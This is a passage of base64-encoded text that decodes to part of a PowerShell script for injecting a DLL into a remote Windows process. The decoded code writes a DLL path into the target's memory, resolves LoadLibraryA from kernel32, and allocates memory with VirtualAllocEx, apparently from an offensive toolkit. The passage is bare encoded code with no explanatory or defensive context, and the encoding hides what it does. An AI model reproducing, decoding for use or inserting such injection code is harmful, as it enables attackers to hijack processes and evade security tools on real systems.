Y2Vzc01lbW9yeS5JbnZva2UoJFJlbW90ZVByb2NIYW5kbGUsICRSSW1wb3J0RGxsUGF0aFB0ciwg
JEltcG9ydERsbFBhdGhQdHIsICREbGxQYXRoU2l6ZSwgW1JlZl0kTnVtQnl0ZXNXcml0dGVuKQoJ
CQoJCWlmICgkU3VjY2VzcyAtZXEgJGZhbHNlKQoJCXsKCQkJVGhyb3cgIlVuYWJsZSB0byB3cml0
ZSBETEwgcGF0aCB0byByZW1vdGUgcHJvY2VzcyBtZW1vcnkiCgkJfQoJCWlmICgkRGxsUGF0aFNp
emUgLW5lICROdW1CeXRlc1dyaXR0ZW4pCgkJewoJCQlUaHJvdyAiRGlkbid0IHdyaXRlIHRoZSBl
eHBlY3RlZCBhbW91bnQgb2YgYnl0ZXMgd2hlbiB3cml0aW5nIGEgRExMIHBhdGggdG8gbG9hZCB0
byB0aGUgcmVtb3RlIHByb2Nlc3MiCgkJfQoJCQoJCSRLZXJuZWwzMkhhbmRsZSA9ICRXaW4zMkZ1
bmN0aW9ucy5HZXRNb2R1bGVIYW5kbGUuSW52b2tlKCJrZXJuZWwzMi5kbGwiKQoJCSRMb2FkTGli
cmFyeUFBZGRyID0gJFdpbjMyRnVuY3Rpb25zLkdldFByb2NBZGRyZXNzLkludm9rZSgkS2VybmVs
MzJIYW5kbGUsICJMb2FkTGlicmFyeUEiKSAjS2VybmVsMzIgbG9hZGVkIHRvIHRoZSBzYW1lIGFk
ZHJlc3MgZm9yIGFsbCBwcm9jZXNzZXMKCQkKCQlbSW50UHRyXSREbGxBZGRyZXNzID0gW0ludFB0
cl06Olplcm8KCgoJCWlmICgkUEVJbmZvLlBFNjRCaXQgLWVxICR0cnVlKQoJCXsKCgkJCSRMb2Fk
TGlicmFyeUFSZXRNZW0gPSAkV2luMzJGdW5jdGlvbnMuVmlydHVhbEFsbG9jRXguSW52b2tlKCRS
ZW1vdGVQcm9jSGFuZGxlLCBbSW50UHRyXTo6WmVybywgJERsbFBhdGhTaXplLCAkV2luMzJDb25z
dGFudHMuTUVNX0NPTU1JVCAtYm9yICRXaW4zMkNvbnN0YW50cy5NRU1fUkVTRVJWRSwgJFdpbjMy
Q29uc3RhbnRzLlBBR0VfUkVBRFdSSVRFKQoJCQlpZiAoJExvYWRMaWJyYXJ5QVJldE1lbSAtZXEg